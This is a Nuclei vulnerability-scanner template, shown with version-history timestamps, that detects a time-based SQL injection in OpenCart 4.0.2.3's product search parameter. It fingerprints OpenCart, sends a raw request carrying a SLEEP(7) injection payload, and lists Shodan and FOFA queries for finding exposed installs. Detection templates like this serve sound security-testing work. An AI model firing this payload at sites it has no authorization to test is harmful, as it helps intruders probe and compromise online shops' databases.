nuclei-templates/http/vulnerabilities/other/opencart-core-sqli.yaml

45 lines
1.3 KiB
YAML
Raw Normal View History

2024-04-02 18:19:28 +00:00
id: opencart-core-sqli
2024-04-16 04:11:13 +00:00
2024-04-02 18:19:28 +00:00
info:
2024-04-16 04:11:13 +00:00
name: OpenCart Core 4.0.2.3 'search' - SQL Injection
2024-04-02 18:19:28 +00:00
author: Kazgangap
severity: high
description: |
Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
reference:
- https://www.exploit-db.com/exploits/51940
- https://cxsecurity.com/issue/WLB-2024040004
2024-04-16 04:11:13 +00:00
metadata:
max-request: 2
shodan-query: title:"OpenCart"
2024-04-16 06:13:22 +00:00
fofa-query: icon_hash="-1443008128"
2024-04-02 18:19:28 +00:00
tags: opencart,sqli
2024-04-16 04:11:13 +00:00
flow: http(1) && http(2)
2024-04-02 18:19:28 +00:00
http:
- method: GET
path:
2024-04-16 04:11:13 +00:00
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'contains(header, "OCSESSID=")'
- 'contains_any(body, "opencart.com", "OpenCart is open source", "content=\"OpenCart")'
condition: or
internal: true
- raw:
- |
@timeout: 15s
GET /index.php?route=product/search&search=')+AND+(SELECT+8368+FROM+(SELECT(SLEEP(7)))uUDJ)--+Nabb HTTP/1.1
Host: {{Hostname}}
2024-04-02 18:19:28 +00:00
matchers:
- type: dsl
dsl:
2024-04-16 04:11:13 +00:00
- 'duration>=7'
2024-04-16 04:14:24 +00:00
- 'contains(body, "Nabb</title>")'
- 'status_code == 200'
condition: and